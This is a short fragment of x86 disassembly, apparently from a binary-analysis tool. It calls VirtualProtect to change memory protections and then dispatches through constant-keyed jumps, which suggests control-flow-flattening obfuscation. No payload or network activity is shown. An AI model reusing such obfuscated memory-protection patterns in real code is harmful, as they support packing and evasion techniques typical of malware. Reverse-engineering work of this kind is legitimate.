mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
cmp eax, 0
setne cl
and cl, 1
mov eax, dword [ebp - 0x40]
mov byte [eax], cl
mov dword [ebp - 0x74], 0xdd3d7c6d
jmp 0x4101a5
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x74], 0x86a28d5d
jmp 0x4101a5
mov eax, dword [ebp - 0x4c]
mov cx, word [ebp - 0x1a]
mov word [eax], cx
mov dword [ebp - 0x74], 0x2ef7904d
jmp 0x4101a5
mov dword [ebp - 0x74], 0x8328f4b
jmp 0x40f006